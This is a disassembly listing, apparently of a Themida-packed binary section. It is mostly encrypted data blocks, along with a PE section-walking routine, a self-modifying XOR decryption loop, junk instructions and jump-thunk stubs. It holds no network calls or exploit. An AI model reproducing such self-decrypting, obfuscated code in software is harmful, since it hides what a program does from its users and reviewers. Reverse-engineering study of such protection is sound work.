5C33E4F3h, 2AC3810Ah dd 0F768EC37h, 0CFE381D3h, 0C145785Bh, 0F38105E3h, 800018E4h dd 835BD801h, 48704E8h, 0BE685C24h, 8900007Ah, 89562404h dd 4C681E6h, 83000000h, 348704EEh, 34895C24h, 0E2B95124h dd 8906174Ch, 240C8BC8h, 6804C483h, 7E7Fh, 83242489h, 5E042404h dd 0CEB85050h, 29587733h, 58042444h, 8108468Fh, 33CE0846h dd 348B5877h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 24048B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h, 0FFFD2B8Fh dd 1971F497h, 695D5572h, 0DE1E1915h ; --------------------------------------------------------------------------- loc_57DE7C: ; CODE XREF: Themida_:0057D88Aj mov eax, 61751EBh add eax, ebp loc_57DE83: ; CODE XREF: Themida_:0057D885j mov edx, ecx jmp loc_57DEDB ; =============== S U B R O U T I N E ======================================= sub_57DE8A proc near ; DATA XREF: Themida_:0054B110o var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] add esi, [esi+3Ch] mov edi, [esp+20h+arg_4] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_57DEA5: ; CODE XREF: sub_57DE8A+46j cmp ecx, 0 jz loc_57DEC4 cmp edi, [edx+0Ch] jg loc_57DECC sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_57DEC4: ; CODE XREF: sub_57DE8A+1Ej ; sub_57DE8A+4Cj mov [esp+20h+var_4], edi popa retn 8 ; --------------------------------------------------------------------------- loc_57DECC: ; CODE XREF: sub_57DE8A+27j add edx, 28h dec ecx jnz loc_57DEA5 jmp loc_57DEC4 sub_57DE8A endp ; --------------------------------------------------------------------------- loc_57DEDB: ; CODE XREF: Themida_:0057DE85j mov edx, 9FD3Eh call sub_57DEF5 pop ds imul esi, [eax+70h], 4Fh xor al, 0E7h dec edi ; --------------------------------------------------------------------------- db 0C5h, 0C3h, 0A4h dd 9EFC431Ch db 19h ; =============== S U B R O U T I N E ======================================= sub_57DEF5 proc near ; CODE XREF: Themida_:0057DEE0p jge loc_57DEFE mov cx, si loc_57DEFE: ; CODE XREF: sub_57DEF5j pop edx clc add edx, 6075h mov bx, dx xor eax, eax push ecx adc si, 0E96Ch pop esi loc_57DF12: ; CODE XREF: sub_57DEF5:loc_57DFA3j mov edi, [edx+eax] push ebx pop ebx xor edi, 6425E3A0h mov bx, di xor edi, 73C1F7EEh movsx ebx, di add edi, 0DA195D6h mov si, 2C1Bh mov [edx+eax], edi mov esi, 25B06130h jmp loc_57DF54 ; --------------------------------------------------------------------------- dd 8D4503DAh, 7B21B7ABh, 0A1EA9BC4h, 0EA3B4782h, 0D32C36C1h ; --------------------------------------------------------------------------- loc_57DF54: ; CODE XREF: sub_57DEF5+46j sub eax, 32927139h movzx ebx, di add eax, 32927135h mov bx, 65FDh cmp eax, 0FFFFA050h jnz loc_57DF8B jnb loc_57DF81 jp loc_57DF81 mov ebx, esi loc_57DF81: ; CODE XREF: sub_57DEF5+7Ej ; sub_57DEF5+84j jmp loc_57DFAE ; --------------------------------------------------------------------------- dw 0F27Dh db 0E0h, 2Ah, 72h ; --------------------------------------------------------------------------- loc_57DF8B: ; CODE XREF: sub_57DEF5+78j jmp loc_57DFA3 ; --------------------------------------------------------------------------- dd 0AE781EABh, 475945C7h, 98B16A18h, 563420D6h ; --------------------------------------------------------------------------- aad 2Ah xchg eax, ebp loc_57DFA3: ; CODE XREF: sub_57DEF5:loc_57DF8Bj jmp loc_57DF12 ; --------------------------------------------------------------------------- dd 0E0D0DE1Ch db 0D8h, 77h ; --------------------------------------------------------------------------- loc_57DFAE: ; CODE XREF: sub_57DEF5:loc_57DF81j jmp loc_57E114 ; --------------------------------------------------------------------------- db 48h dd 0E77FB676h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh dd 3CAE29h, 440000h, 6C0000h, 2 dup(0) dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 2Ah dup(0) ; --------------------------------------------------------------------------- loc_57E114: ; CODE XREF: sub_57DEF5:loc_57DFAEj jmp loc_57FFE6 ; --------------------------------------------------------------------------- push 6175758h jmp loc_5509FF ; --------------------------------------------------------------------------- push 617586Ch jmp loc_5509FF ; --------------------------------------------------------------------------- push 6175928h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6175A07h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6175AD3h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6175B91h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6175C57h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6175CF8h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6176051h jmp loc_5509FF ; --------------------------------------------------------------------------- push 61760C0h jmp loc_5509FF ; --------------------------------------------------------------------------- push 61761DBh jmp loc_5509FF ; --------------------------------------------------------------------------- push 61764FEh jmp loc_5509FF ; --------------------------------------------------------------------------- push 6176837h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6176BA4h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6176D5Eh jmp loc_5509FF ; --------------------------------------------------------------------------- push 6176DC4h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6176E33h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6176E88h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6177011h jmp loc_5509FF ; --------------------------------------------------------------------------- push 61770FEh jmp loc_5509FF ; --------------------------------------------------------------------------- push 61772B5h jmp loc_5509FF ; --------------------------------------------------------------------------- db 1Eh dd 0D2AF01BEh, 8D6ABC01h, 47247645h, 0FCD92B8Eh, 5790E2DBh dd 35884F61h, 0EECB06E3h, 0A619BF9Ch, 5C5F7754h, 7076FE0Ah dd 58093D8Ah, 123CA39Eh, 0E2AFF7C4h, 339DCCF1h, 0B90BB026h dd 77BF6FDDh, 48902DAAh, 0F1E85C42h, 19487051h, 59744B13h dd 0A8708A4Eh, 20E9C191h, 21B9FB29h, 8F1BAEF2h, 3A0757E5h dd 1F772398h, 468F6CF0h, 0E92FDB73h, 58066E07h, 3952F012h dd 0F8D9682Ch, 35D2h, 0A513E900h, 0F1E4B1F9h, 77C41CC8h dd 5CB4605Bh, 5E21272Dh, 0AA57E503h, 6BA2BAD3h, 3665D2C7h dd 98DE8AB2h, 580678B6h, 0E8E39FC1h, 0F8D9607Dh, 0CF81h dd 0C4129800h, 62F78138h, 33CB9E3Fh, 605D7A87h, 8C2FA7B4h dd 0B803D3E0h, 3E2B5066h, 643B51F2h, 0E7535D72h, 4B5685EBh dd 5F5A7B8Bh, 0D59D75C7h, 0F22DE9CFh, 1F25FD51h, 51F22E39h dd 408D254Dh, 257D2992h, 0D0EBEBF6h, 6AA1824h, 477DB8BEh dd 0DCA957E5h, 141701F9h, 64F444F2h, 0F1199DCCh, 0C5F6DCA9h dd 0B6625B78h, 431F2F5Eh, 19E129D5h, 0AB318A4Ch, 580652C5h dd 7C82B1D9h, 0FB294A76h, 6AB2DA5Dh, 31833A9Dh, 5C3A8354h dd 389125EEh, 14A3B19Bh, 6A00001Ch, 1EFB4D72h, 0D9B608B5h dd 9370C2F9h, 48257742h, 0A3DC2E8Fh, 813C9B15h, 3A7F522Fh dd 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h, 58093ED6h, 1288EFEAh dd 0C9A6F8C5h, 0A35CAE0Dh, 97014017h, 7A0BEEE2h, 2BD3414Bh dd 0E81ADDE3h, 0C0E857E5h, 0E7ECCE14h, 0D5F75806h, 0CCAD84B5h dd 0C5AF9595h, 0D9E2F441h, 3AA6D52Dh, 0F8D8552Bh, 76AD5C33h dd 5A89D8Eh, 0FC70D6h, 9B680000h, 81D98538h, 4F176B52h dd 0BF6B5082h, 0E7FBE167h, 0E70F51F1h, 9229ADB8h, 0BFFED9E6h dd 0EBA8CD13h, 0EBB851F1h, 1B28D4E7h, 0FC5400BBh, 0AC2A3564h dd 428F795Ah, 0FF47DF77h, 0EC4B3137h, 825F51F1h, 0A3D26A4Fh dd 0BDE4BB93h, 0E58E8E17h, 0FED8E312h, 970511BDh, 5E999FE7h dd 8A57E57Eh, 0DE3D0FB3h, 0E2111571h, 9A80865Eh, 0AE5806BAh dd 21B900D1h, 925F3789h, 74CC7845h, 21CD3B45h, 8EB8D3D9h dd 0FE265DFBh, 1AEEE9B6h, 176901BEh, 42209D3Ah, 3890C112h dd 93A18Bh, 7E00001Bh, 320F615Eh, 0EDCA1CA1h, 0A784D6E5h dd 5C398B2Eh, 0B7F0427Bh, 9528AF01h, 4E6B6643h, 6B91FFCh dd 0BCFFD7B4h, 0D0D65E6Ah, 58093FEAh, 129C03FEh, 0C9A6F8C5h dd 0C623EF0Dh, 0FBC63C2h, 0F23B2309h, 770F3751h, 51C097DFh dd 0A1433260h, 0C8A0B0DFh, 3EA3A3F1h, 1E6B47D7h, 25A06B3h dd 0C412ECD3h, 983E4BF7h, 57B3D123h, 4C943CAAh, 0E501FB46h dd 0A1C957h, 9391BEACh, 32DE4CF2h, 0A2BDE4EAh, 2B531A87h dd 5905737Fh, 5D434911h, 711AA883h, 0E141A49h, 209BBE19h dd 876D734Bh, 9B20BCBEh, 0C693DB73h, 9663AB10h, 3E4E7D42h dd 68467561h, 75F170F6h, 44C3D1BBh, 3A00001Ah, 0EECB1DA2h dd 0A986D8E5h, 63409229h, 18F54772h, 73ACFEBFh, 516C6B45h dd 0AAF22FFh, 0C2FDDBB8h, 78439370h, 8C921A26h, 580940A6h dd 1758BFBAh, 4F55B640h, 2655BBCFh, 5400BB1Bh, 0EE36DA48h dd 0E62585E8h, 196B9357h, 23FAA3FBh, 5DC0EE61h, 0ACB6E521h dd 444A923Eh, 5DF9C2F9h, 0A1B3E0C7h, 3802A894h, 32ABFFA0h dd 0D6A56929h, 0A76AF968h, 54C17C87h, 620060Ch, 0C3425CCh dd 97642C74h, 7CD4803Bh, 0E615A82Fh, 0BF367BA2h, 7AB88F2Bh dd 5BF0FB41h, 25FD81B0h, 0E06B391Fh, 8D254D2Bh, 0B11D9E1h dd 2BE06B25h, 0D8E21139h, 787EC66Ah, 31D3A583h, 78458DB5h dd 4D155D5Eh, 0F4A66147h, 4D7531h, 0A8B8E7D8h, 0EBCE03D0h dd 0ADB8E73Fh, 0B4B49229h, 1164B989h, 19651927h, 0C3190000h dd 6CDAAFCh, 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh dd 0DE308D4Ah, 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h dd 99580942h, 0C412379Eh, 0D13F4BF7h, 0CDFE52Dh, 0FA57E519h dd 0FB6280D2h, 9CA2FE6Ch, 5805F8B6h, 0C20AA2CAh, 97A4B6EBh dd 92C1D823h, 0F6FCC48Ch, 58061F10h, 1EB69CA2h, 0A2CA5806h dd 4185B4DCh, 5DF938F6h, 0E5FB9CC4h, 3A31171Dh, 1D455E1Ah dd 1176AAEEh, 0D7A4D881h, 828CBBFEh, 1E246C14h, 0B622F7h dd 0ADB9658Dh, 0F3D9DF3Fh, 700D702h, 343292Fh, 2F5700D7h dd 0B1B7FF97h, 6CA3DBCh, 0B17EC6EEh, 0BFC6D725h, 20CD809Fh dd 915E3688h, 3F4A7940h, 2C462497h, 0AD8FC29Bh, 1899B5C3h dd 0F7E50000h, 3A9976C8h, 7E543183h, 0C70EEB3Dh, 14C3A0F2h dd 9A1E57A9h, 0AAFCC116h, 63B504CDh, 1B6D5286h, 0D123983Eh dd 51373DC5h, 65580942h, 0C412036Ah, 0D13F4BF7h, 0A8DFE52Dh dd 0DC57E503h, 4280E14h, 553C5806h, 836C95B5h, 5C8B23FCh dd 0A068B0D8h, 6AAB49Ah, 71A0C858h, 49D84361h, 23EB33DBh dd 933F7C56h, 7DC80C3Bh, 4B5DF9C4h, 522E8223h, 0BCBB5B9Ah dd 545AA24Eh, 6150AB2Dh, 0E3EF9BC3h, 0E6421975h, 0B30C83E4h dd 1A30169Ch, 1C446171h, 41363C84h, 73676455h, 0A036034Bh dd 0CF07EE5Ch, 1016E15Eh, 6785A62Ah, 0E67E163Eh, 9C1FB794h dd 2889BEBEh, 37452F2Fh, 17DBh, 348639A3h, 0EF417C57h dd 0A9FBC012h, 5EB009CCh, 15675681h, 3D4DCDCh, 468B68BAh dd 94442173h, 0DAFCD92Bh, 0FB838FE1h, 9430FF5h, 0C1282358h dd 2F8C4A17h, 0F1FC2B83h, 1E2AD6E5h, 0EBB800B0h, 0CC24D0EBh dd 1291979Dh, 4857E532h, 58B0CE20h, 49913DABh, 0F92AF843h dd 0FD9EC65Dh, 0E14406A9h, 904512D1h, 82F0FA29h, 2342282Eh dd 2E56F1E3h, 0AF864E96h, 488E97DDh, 49411C73h, 0C7EE3261h dd 5DF7D640h, 0B220ED35h, 6470DA09h, 0CA3E95F6h, 0AD05B10Eh dd 2F357D15h, 0FDEA5C3Ah, 34FC446Ch, 204F6A67h, 0A3BC115h dd 0EF4FA15h, 22FE0BDAh, 0BCA5A3FAh, 7C59AB43h, 383615Ah dd 0FE98A2C4h, 17150614h, 73690000h, 0B61DFA4Ch, 0FAD8B507h dd 43926FC1h, 90472476h, 16A2DB2Dh, 2E803D9Ah, 0E7398051h dd 9FF1CE0Ah, 55A714C2h, 0D5BBC149h, 0E9580943h, 0C41287EEh dd 0D13F4BF7h, 72DFE52Dh, 8457E65Bh, 173D145Ch, 0C8DEA48h dd 2BF8FE2Dh, 0A8BE10ABh, 5809C532h, 0BB1673E0h, 62FA52FEh dd 37864D1Ah, 0BB1BF808h, 0E8EBB800h, 0A2D129D5h, 9848B692h dd 37DD4A50h, 0C7EF5DFEh, 9C21B27Fh, 6B4E8754h, 844F2C3Ch dd 0AE858D39h, 0E26527FCh, 0A1317EBDh, 0E7166E1Ah, 0E3C1FADCh dd 388CB4ADh, 74707E68h, 0A000016h, 0BE9BEDD2h, 7956A815h dd 33106259h, 0E8C517A2h, 437CCEEFh, 219C3B75h, 0DADFF2CFh dd 922DAB88h, 48736340h, 5C62EAF6h, 58094476h, 13288F8Ah dd 0A8CE3AA5h, 7B235DABh, 28959BE3h, 3A57E65Dh, 0D9FDCA12h dd 47B490E2h, 57494F97h, 8358093Eh, 8669AF5Bh, 0D58093Eh dd 3A47F3CAh, 0A0F1619Dh, 0C61A5ED0h, 486C822Eh, 0BEE0A70Ah dd 0F45E079Ch, 4EA0F8D5h, 0B7000000h, 4248A613h, 51F1E85Ch dd 68B04870h, 88BC9A0h, 576870h, 0F625229Dh, 0F2A4B8B2h dd 10BCE451h, 6D9D3B08h, 90BF5766h, 0F2A56A4Ch, 37537551h dd 0ED30C99Ch, 1335FEh, 0D94C0000h, 51F1E7F6h, 1860107Eh dd 0E5081712h, 0CB1D4557h, 3AA51312h, 0FFF18E70h, 0C911A93Eh dd 4D333901h, 6151F2A8h, 0A7CDB339h, 0B9E151F2h, 2F7E848Ah dd 557E5F1h, 5C2931DDh, 75449177h, 33A3AEDDh, 14A475C9h dd 10A8DB38h, 11F5E1BEh, 0F149F5C4h, 37A0AD59h, 6CDDA86h dd 4FE7D402h, 803D96A3h dd 9EBCA0D4h, 764D651Bh, 2A518290h, 3587B678h, 0C4F7DF15h dd 7A419572h, 0AC54C2CEh, 28A35E64h, 6A515DF9h, 0DA107333h dd 0E032CA05h, 3CE8D303h, 0EF72F1F6h, 0A415BC35h, 0D0EBEBF8h dd 84AAE24h, 0F38FF3A9h, 0CC1E9D39h, 40262CF4h, 54D65173h dd 0E4F2FD2Ch, 56232BD7h, 5103F7Ch, 0E83DE9D0h, 0AA11C592h dd 0DBE2F1FEh, 80C21443h, 0FF516A6Ch, 5B07B422h, 0F53DE14Fh dd 600CAD28h, 0CDD3D908h, 0DC448BEAh, 52BD1BF8h, 658C664Ch dd 0BA527ADCh, 0CC1EB60Eh, 28D4E7EFh, 5703B61Bh, 27DD7DE1h dd 0E2BA0CAFh, 0CFFEBD15h, 0FDA912C4h, 93DB83F1h, 261F45BCh dd 406F6B53h, 1045343Ah, 335BE258h, 0E9D204E1h, 0B75E353Dh dd 37958CCFh, 1E7ED35h, 15E279D1h, 987ABEEDh, 0F6D279D0h dd 1ABC7012h, 66724FA1h, 37A0AD59h, 4CDDA86h, 0D7FC09B5h dd 243AE6h, 22B5A042h, 14F28C8Eh, 2466CA7Ch, 328B4815h dd 0DFE0F803h, 0E728B08Dh, 79B9FBE1h, 4FE70FF2h, 0CA3F96A3h dd 38E4DBFDh, 0BA745AE0h, 6088F279h, 42A61CC8h, 381AF100h dd 60E2F968h, 54848FBEh, 7441196Bh, 242F5E5Fh, 535F0BB4h dd 0EBF139E5h, 0F86C6F9Ch, 0AE949A72h, 0C2F88D4Fh, 4956029Ah dd 0E7CB7288h, 8A0E6A18h, 983946F2h, 3B5F7521h, 0CBF2E51Fh dd 9A2FC71Fh, 36A25AF8h, 7C5A3789h, 5086933Fh, 0E94DBF6Bh dd 0C84393A9h, 8DC8DCC2h, 30C8F0F8h, 10C5A0DEh, 2B395852h dd 50000000h, 4DF9C612h, 0E32BD341h, 0A9DB441Bh, 39CECEACh dd 438B239Ah, 0F206573Dh, 14436B51h, 0E552ADD0h, 0C1133B57h dd 1BE3h, 0C6123A00h, 3BDAB1F9h, 2978F82Bh, 939F0938h dd 2B317925h, 57E5FE40h, 1BD4264Eh, 2F8C4A17h, 0B0FC2B83h dd 913DAB58h, 1F84349h, 9EC657E5h, 39C3A9FDh, 8D55AA56h dd 0B919A187h, 5E8DB54Ch, 127BE654h, 9810D3E7h, 0E8B0F890h dd 5400BB1Bh, 0C66F3B3Dh, 0B74FE8F3h, 611D4488h, 0DBB352ACh dd 0CD41EFD5h, 43DB0352h, 711D8B97h, 7D2E2329h, 386058C0h dd 8B323F0h, 0BEFDD9B6h, 0CCB3BAE0h, 77856F3Dh, 131Bh dd 0F4467963h, 0AF01BC17h, 69BB00D2h, 1E70498Ch, 0D5279641h dd 43941C9Ch, 864B287Ah, 0D404E133h, 1ABC99EBh, 0BB434FA1h dd 947CFB5h, 81E8E358h, 0F1E8F3D9h, 6B138151h, 3F7C5623h dd 69040A10h, 0D757E51Bh, 3E9A67AFh, 6B20BCCh, 0E7C416AEh dd 0BE86CEF1h, 5FAD2B8h, 0C809E658h, 0C02A59F1h, 0BA9823B3h dd 3EA834EAh, 0AC5B6953h, 0D2000012h, 8663B50Ah, 411E704Dh dd 0FBD82A91h, 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h dd 5A657350h, 10AB2B08h, 242AB2BEh, 5809483Eh, 13F05752h dd 0ABB1F9A5h, 57E51A10h, 410E567Eh, 0FCD92B92h, 0D19EE6D7h dd 0B20AB605h, 0CA0C1983h, 0CACF6A41h, 741154ACh, 6D808EEh dd 5CF41C58h, 99B95BB0h, 7F3A9B68h, 2F8E4550h, 0CF4EBFDDh dd 19BFF867h, 271F8F38h, 0D370478Fh, 3E83148Dh, 7A95F423h dd 72B86459h, 5806DC8Fh, 6078451Dh, 0BCDE305Fh, 20724B88h dd 812D9043h, 0F570775h, 0FC7C7B38h, 79D68015h, 5BA2F9E5h dd 9623B299h, 0CBFA92EAh, 0A372BFC5h, 1C445DFAh, 0F0CB07D4h dd 5D8C2FA3h, 6F4C8A57h, 5A78451Dh, 2E5DB561h, 5C08B323h dd 0F63EE250h, 11F826F0h, 82CAF264h, 489A21B5h, 2B069970h dd 7DD4EBEDh, 2A72C62Eh, 34893E24h, 0FB2A5264h, 0B720E6F0h dd 59266E06h, 0A50F3E7Dh, 3B832B99h, 27B1D635h, 0E4EFCC6Ah dd 4B6341D9h, 62C659Dh, 11910E1Ch, 0EFED0000h, 32A17ED0h dd 765C398Bh, 0BF16F345h, 0CCBA8FAh, 92265FB1h, 0B204B91Eh dd 6BBDFCD5h, 23754A8Eh, 0D92B9046h, 593F45CDh, 6D580949h dd 4A170B72h, 0C0043388h, 51F1E7C1h, 1C1A9E75h, 1CA084E7h dd 0C9F6E2EDh, 1D29F77h, 89B810BCh, 256D117Fh, 0E69C5D1Fh dd 0B9012957h, 689E1AF1h, 1DB69F5Bh, 88B708D0h, 1466557Dh dd 0E5B4B15Bh, 0DDAAFF6Dh, 0C018C4FBh, 1432B91h, 13420000h dd 17D5FEA8h, 0F1E82E11h, 0FD2C5151h, 5B765E6Bh, 1749720Ah dd 768BCB6Eh, 0E7C2A8AEh, 0AED651F1h, 1A497061h, 0FCAA1333h dd 13ED94D3h, 17D2FBABh, 332874Ah, 4A17ADA4h, 2F873388h dd 0E5E19400h, 433D01EDh, 35000000h, 67379A5Eh, 1C4B65B5h dd 0FCAA1335h, 2E1117D3h, 0BA51F1E8h, 2BD7E6EDh, 0F820A4D3h dd 0FCE2E8B0h, 1051F1E7h, 17D2B9E8h, 6653824Fh, 0C0125037h dd 61758F46h, 0BE56AE5Ah, 6910FD26h, 2611h, 0AA136800h dd 4017D3FCh, 0D07A37E9h, 0EB40110Eh, 646C44A1h, 91979DCCh dd 51F2AAAEh, 17426BD1h, 0FBC0126Eh, 176910D2h, 942DF340h dd 0E3D9CADh, 0ED81D3A2h, 284B01h, 13620000h, 17D2FBABh dd 0F1E82E11h, 795F3C51h, 1785AE46h, 2020784Fh, 0BF0B61C1h dd 0C112A990h, 6910D3FCh, 5211h, 40176800h, 8610DD77h dd 0E5EF1EA8h, 51BA187Dh, 0F21F654Bh, 0B9517951h, 4A17F821h dd 2F873388h, 1DC9F6E2h, 8A9096C5h, 51F1E7A7h, 0EAE7B4CAh dd 45CB23CFh, 51F1E85Fh, 0DD3ECECh, 17244DE5h, 534894Ah dd 0C11256FFh, 4A10D3FCh, 0BA66557Dh, 114C3362h, 0FFFFFEADh dd 0F9A51368h, 0A412E9B1h, 79448FAEh, 9C100C22h, 4ABC296Dh dd 0F6CE57E7h, 0A2C0AF0h, 5EF61E58h, 2E8D4916h, 0EB9300DCh dd 2BB79DA3h, 7249580Ah, 0B8D99E08h, 85093810h, 39C2E89Eh dd 6672DA89h, 7D29C159h, 0A213F37h, 0CAF3E058h, 0F6C5111Eh dd 0D270D44Ah, 0A4E608CFh, 0B009C895h, 0B4501581h, 410EF8D5h dd 21792594h, 0DB902D4h, 532086B5h, 18000000h, 2F8A4Bh dd 0E7F7D919h, 5A7C51F1h, 6A370F61h, 84399A6Ch, 3CE880D8h dd 8E71B5E4h, 1651F1E7h, 2A9543A8h, 567D4A92h, 735A92A8h dd 0AE464F66h, 1B4A7161h, 0B80C0F15h, 7D5A57E5h, 0A3BA6655h dd 0E8DEB20Fh, 93E07821h, 92E47C3Fh, 0D0B4h, 0A5130B00h dd 0F8ABB1F9h, 0A657E502h, 6F69367Eh, 0B721FE50h, 0E2505C08h dd 2A2888Eh, 0D9B65806h, 8E26BEFDh, 27056F46h, 1E399EDCh dd 87B605D1h, 72367B81h, 0E0085DFAh, 0E4CAD098h, 0F85E1D52h dd 0CE9BA1D0h, 0A038050Ah, 951B731Fh, 5E1D52AFh, 4D539BC3h dd 5E1D5367h, 73BB537Bh, 8351A29Ch, 0E9187B88h, 0E3DCFCD9h dd 61672F37h, 5E1D6F7Bh, 0B2EBA88Fh, 1123B14Ch, 0D2404A79h dd 3E0E62Eh, 0F564115Ah, 1EB885CDh, 686E4B9Dh, 39B79DA3h dd 0A3CB6434h, 0F68B2D0Bh, 0F0DA3279h, 0E6EE2h, 0F3CC1000h dd 0AE0FC4A1h, 68537F5Ch, 1D9C3916h, 0D4E9EECBh, 416F4982h dd 0F8D52796h, 0B18EE0D9h, 69469827h, 0F0FC4E6Dh, 4C7C6268h dd 95905809h, 8B4A172Eh, 0E2F4FF2Eh, 0B6202DD9h, 0CFE75905h dd 0E81B0107h, 72F51F1h, 30C486D8h, 85C315A6h, 0FEEDEDE0h dd 9920B17Eh, 29046Ah, 131B0000h, 0ABB1F9A5h, 57E51884h dd 3946F21Ah, 0EFCC1E9Dh, 0BF8CD4E7h, 0A5FDA914h, 92000C76h dd 0EDA0A6EEh, 9B5DF913h, 17682173h, 332874Ah, 9AE2DBF8h dd 0E7E6CCD2h, 0D2FA51F1h, 406F4E85h, 3D805330h, 0E84E4B91h dd 0DFF951F1h, 0E8442A30h, 5D151F1h, 30C8F0B6h, 0DC2F06DEh dd 7E1B8583h, 0E7C86B5h, 35141A62h, 0A957E675h, 18724BD2h dd 4465F28Ch, 8A85DC65h, 73F72677h, 0D5C3348Ch, 18B03D30h dd 0ECCF03D0h, 0B4B1E19Ah, 4AFF6DE5h, 13Eh, 49A81361h dd 6E972F8Eh, 0E82E1117h, 0E3BA51F1h, 0EE001421h, 1887B64Ch dd 6E1789B2h, 13958BCBh dd 17D3FCAAh, 0E863494Fh, 4F7751F1h, 13F09720h, 5F454BABh dd 7351F1E8h, 0BE8AB34Bh, 0E5C4B1C7h, 2A5A01EDh, 71000000h dd 0D3FCAA13h, 0E82E1117h, 143C51F1h, 126E17EBh, 0E6B3FBC0h dd 96D80FEBh, 3D9B6309h, 72A1F9A5h, 1169108Bh, 4Ch, 494F1768h dd 51F1E863h, 16204F77h dword_57F248 dd 0E8B5FDADh, 0D24D0E9h, 54B9A168h, 0D3CD47Ah, 894A1726h ; DATA XREF: Themida_:0054AF08o dd 1308834h, 0E812F5FBh, 0C79E51F1h, 65F7BD1Eh, 6C518633h dd 0A1D068C0h, 17A3CC32h, 0FBC0126Eh, 0D81FDCB3h, 5163B1E0h dd 69103B22h, 2BD14017h, 0F9A516BCh, 0C9C04AA1h, 0B0C53160h dd 6E01EDCFh, 3Bh, 7D948F66h, 0CB63E04Dh, 0AF07B306h, 0B308CA17h dd 0AB139D84h, 1117D2FBh, 51F1E82Eh, 17EB143Ch, 874A176Eh dd 0FF2E8632h, 96DEDFF4h, 3AF0EC9h, 10957CABh, 2A1169h dd 13680000h, 5F454BABh, 7351F1E8h, 178AB34Bh, 0F1E82E11h dd 0E6EDBA51h, 0D339A8D7h, 8D4A17AAh, 0FD2C8430h, 0C1124EF7h dd 6910D3FCh, 0FFFEB911h, 0A51368FFh, 3EABB1F9h, 5057E65Bh dd 0C313E028h, 8BD9B0F8h, 896F75F0h, 9D580977h, 48C1E75h dd 0F9D5E514h, 4A30368Ch, 5E5809C3h, 0CD655481h, 1E7ED35h dd 155809C3h, 3FB41EDh, 0A45809C3h, 0F2D8DE2Fh, 65809C2h dd 8D9A46DEh, 0A613BE4Ah, 8355620Eh, 0E238903Ch, 561D9CBEh dd 9722B380h, 5F741668h, 0F8D61306h, 0A48A9058h, 0B85809CAh dd 35FE74D1h, 2EC65D6Ah, 1599FFh, 0D9B00000h, 51F1E7F7h dd 9D1EB481h, 4873636Eh, 0AC18F6h, 136F0000h, 0ABB1F9A5h dd 57E50974h, 0EDBA022Ah, 0A582D4EBh, 0CFFD733h, 60A2006h dd 740C3458h, 0B62430DCh, 63BCC20Ah, 0CB5DFA7Dh, 5FD88EF4h dd 4978EDE8h, 88559DC5h, 401D6F50h, 12DF2798h, 0F74FFBC0h dd 0E4525EC8h, 0AF27F43Ch, 0D1D7DD0Ch, 641195F4h, 803B9764h dd 0C94D7CD4h, 2AD6E7ECh, 25F23AD2h, 0DBB80AB1h, 3DCD0BFBh dd 227A2695h, 0AE14F28Ah, 0CB3279BAh, 0B35D3E1h, 93490000h dd 0D6FDDA2Ch, 1AB895E7h, 63724FA1h, 0B0270456h, 3682BB0Dh dd 0E605D7Ah, 0C719A031h, 7FD1EEEAh, 358734A2h, 0B59BA129h dd 0C958094Fh, 0C41267CEh, 983E4BF7h, 0D13DB23h, 51F1E827h dd 7AE4133Bh, 4EE6A408h, 0BDCB7488h, 99BE91Ch, 755C2971h dd 0CA76498Fh, 0D62EDA72h, 0C5997A7h, 0F2FEEDA4h, 2Ch dd 0F9A51309h, 0BA1CE9B1h, 9830894Ch, 216594ECh, 57E5110Eh dd 9BA8547Ch, 512E803Bh, 7E8A3685h, 12186010h, 5DF912DBh dd 5E176991h, 7B784F17h, 2E677CB0h, 0F4DBC147h, 0C7EF51F1h dd 77468D98h, 68764D25h, 7D4093E0h, 0F92279D1h, 0DABA4A52h dd 0CC915457h, 0C2C10534h, 7651F238h, 0E38F2EA9h, 87515C8Bh dd 0D019F038h, 7EF11D1h, 0DEBACAF9h, 0F0CB0B70h, 0C54EC44h dd 0E7341C06h, 0B8002857h, 56DA19F0h, 6A5B4A17h, 19A2303Bh dd 0B4B10EC7h, 4AFF6DE5h, 16Fh, 4EA81361h, 0F1E86248h dd 0B64E7651h, 1440178Dh, 9E0AEDB8h, 5B616796h, 51F23578h dd 170C359Bh, 6BC1784Fh, 0BD14A52Ch, 6236Ah, 51F2E61Ah dd 3F6E062Eh, 958BCB58h, 0D3FCAA13h, 4A17ED94h, 92787E8Bh dd 0A651F1E7h, 3F99E67Eh, 0DF475180h, 571FE72Fh, 0F1E86B51h dd 0D1577F51h, 51F1E7EBh, 0C1A8D7FFh, 0C4B1C7BEh, 0BA01EDE5h dd 0E806ECF2h, 0F21A54F1h, 575DC3h, 7E550000h, 0B650D3B3h dd 31CF6F84h, 0E79BCB16h, 1339204Fh, 0DDB4FCAAh, 5B5CEA85h dd 